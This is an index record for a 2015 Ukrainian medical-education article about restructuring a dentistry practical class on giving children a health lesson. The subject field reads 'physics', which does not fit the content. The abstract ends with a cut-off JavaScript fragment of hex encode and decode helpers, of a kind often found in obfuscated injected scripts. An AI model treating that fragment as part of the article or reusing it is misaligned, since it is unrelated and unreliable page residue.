Open AccessАДАПТАЦІЯ МЕТОДИЧНИХ МАТЕРІАЛІВ ДО ПРАКТИЧНОГО ЗАНЯТТЯ НА ТЕМУ “ПРОВЕДЕННЯ УРОКУ ЗДОРОВ’Я” НА ІІІ КУРСІ СТОМАТОЛОГІЧНОГО ФАКУЛЬТЕТУ ДЛЯ ПІДВИЩЕННЯ ЙОГО ПРАКТИЧНОГО СПРЯМУВАННЯ
Author(s) -
G. M. Melnychuk,
I. R. Kostyuk,
Н. І. Шовкова,
O. V. Bazalytska,
Alexander Babenko,
M. V. Bilyshchuk,
O. Y. Potyak,
O. E. Koshkin,
O. I. Yavorska,
V. V. Аvаkоv
Publication year - 2015
Publication title -
medična osvìta
Language(s) - Ukrainian
Resource type - Journals
eISSN - 2414-5998
pISSN - 1681-2751
DOI - 10.11603/me.v0i4.5319
Subject(s) - physics
Кредитно-модульна система освіти має свої переваги, але є практичні заняття, на яких необхідно відступити від деяких її принципів. На ІІІ курсі стоматологічного факультету при вивченні предмета “Профілактика стоматологічних захворювань” згідно з робочою програмою є практичне заняття № 17-18 на тему “Проведення уроку здоров’я”, на яке відводиться чотири академічні години. Це заняття передбачає роботу студентів в організованих дитячих колективах. Із метою повного його практичного спрямування на кафедрі дитячої стоматології Івано-Франківського національного медичного університету внесено зміни в “Розділ VI. План і організаційна структура заняття” до цієї методичної розробки, що полягають у проведенні генеральної репетиції уроку здоров’я замість опитування і тестування, а основна частина заняття відводиться на власне виступ – урок здоров’я. При цьому вихідний та кінцевий рівень знань студентів викладач з’ясовує на попередньому занятті. Проведена нами адаптація методичних матеріалів допомагає отримати повне практичне спрямування цього практичного заняття та дозволяє студентам і викладачу цілком віддатися творчій праці. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o